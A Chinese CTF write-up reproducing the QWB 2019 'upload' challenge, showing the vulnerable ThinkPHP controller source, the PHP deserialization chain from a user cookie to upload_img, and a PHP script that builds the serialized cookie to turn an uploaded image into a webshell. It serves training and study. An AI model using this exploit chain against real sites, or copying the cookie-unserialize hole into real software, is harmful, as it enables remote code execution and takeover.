强网杯2019 upload题目复现

前言

端午假期没什么事情,想着复现下强网的题目,正好前两天朋友给了个题目复现环境,想着好好总结一下

https://github.com/CTFTraining/CTFTraining/blob/master/README.md

源码分析

重要部分源码如下
Profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

public function __construct()
{
$this->checker=new Index();
$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
@chdir("../public/upload");
if(!is_dir($this->upload_menu)){
@mkdir($this->upload_menu);
}
@chdir($this->upload_menu);
}

public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

public function update_img(){
$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
if(empty($user_info['img']) && $this->img){
if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
$this->update_cookie();
$this->success('Upload img successful!', url('../home'));
}else{
$this->error('Upload file failed!', url('../index'));
}
}
}

public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
}

public function ext_check(){
$ext_arr=explode(".",$this->filename);
$this->ext=end($ext_arr);
if($this->ext=="png"){
return 1;
}else{
return 0;
}
}

public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

}

Register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
class Register
{
public $checker;
public $registed;


public function register()
{
if ($this->checker) {
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
$email = input("post.email", "", "addslashes");
$password = input("post.password", "", "addslashes");
$username = input("post.username", "", "addslashes");
if($this->check_email($email)) {
if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
$user_info = ["email" => $email, "password" => md5($password), "username" => $username];
if (db("user")->insert($user_info)) {
$this->registed = 1;
$this->success('Registed successful!', url('../index'));
} else {
$this->error('Registed failed!', url('../index'));
}
} else {
$this->error('Account already exists!', url('../index'));
}
}else{
$this->error('Email illegal!', url('../index'));
}
} else {
$this->error('Something empty!', url('../index'));
}
}

public function check_email($email){
$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
preg_match($pattern, $email, $matches);
if(empty($matches)){
return 0;
}else{
return 1;
}
}

public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}


}

Index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
namespace app\web\controller;
use think\Controller;

class Index extends Controller
{
public $profile;
public $profile_db;

public function index()
{
if($this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
return $this->fetch("index");
}

public function home(){
if(!$this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}

if(!$this->check_upload_img()){
$this->assign("username",$this->profile_db['username']);
return $this->fetch("upload");
}else{
$this->assign("img",$this->profile_db['img']);
$this->assign("username",$this->profile_db['username']);
return $this->fetch("home");
}
}

public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}

public function check_upload_img(){
if(!empty($this->profile) && !empty($this->profile_db)){
if(empty($this->profile_db['img'])){
return 0;
}else{
return 1;
}
}
}

public function logout(){
cookie("user",null);
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}

public function __get($name)
{
return "";
}

}

接下来我们开始分析源码
首先我们题目入手时应该寻找可控的输入点,经过一番寻找后,在index.php中发现了cookie的反序列化操作
1.jpg

cookie是我们可以控制的,所以可以以此为突破口进行进一步分析,题目登陆后有文件上传功能,我们重点看一下Profile.php中的代码
在upload_img()函数中,发现了如下代码段
3.jpg
当全局变量$_FILES 不为空时,我们上传的文件会先保存为临时文件,然后在复制到upload文件夹下,这里会注意到,由于filename_tmp和filename均为public属性,我们可以控制这两个变量,将临时文件控制为我们想要上传的木马文件
接下来我们要做的事就是触发upload_img函数,继续分析源码注意到Register.php中的destruct方法
4.png
在这里我们同样可以控制checker为Profile类的一个对象,这样由于Profile中没有index方法,就会触发Profile中的__call方法
5.png
在__call方法中我们注意到

$this->{$name}

相当于

$this->index

这样进而会触发__get方法
6.png
同样对于expect我们是可以控制的,我们可以控制expect为upload_img进而调用该函数达到恶意文件的生成
最后我们来看upload_img函数,我们需要绕过两个判断
7.png
这两处相对来说比较简单了,checker是可控的,我们直接置0就可以了,对于第二个if我们在利用时不用上传文件所以就直接绕过了
最后梳理一下反序列化利用链

__destruct()-->__call()-->__get()-->upload_img()

实战利用

注册账号,登录,然后制作图片马上传,得到我们要copy”临时文件”的路径
13.png

9.png
然后经过上面的分析我们可以构造出如下的漏洞利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
namespace app\web\controller;
class Profile{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
}
class Register
{
public $checker;
public $registed;
}

$yml = new Register();
$yml->registed=0;
$yml->checker=new Profile();
$yml->checker->except=array('index'=>'upload_img');
$yml->checker->checker=0;
$yml->checker->ext=1;
$yml->checker->filename_tmp="./upload/a7a3cba0eead18324c8b3e2f013dea71/97fa7719c9699fdb67790374376816ba.png";
$yml->checker->filename="./upload/a7a3cba0eead18324c8b3e2f013dea71/yemoli.php";
echo base64_encode(serialize($yml));

我们需要修改cookie的值,所以base64编码一下
11.png
成功的生成的我们需要的一句话
10.png

蚂蚁连接一下
14.png

总结

感觉如果对于魔法函数熟悉的话,题目上手不会太难,后续计划总结一下各个魔法函数的特性,这样对于反序列化题目会更得心应手一些。

参考链接:
https://chxing.xyz/2019/05/27/QWB反序列化

https://altman.vip/2019/05/27/QWB2019-writeup/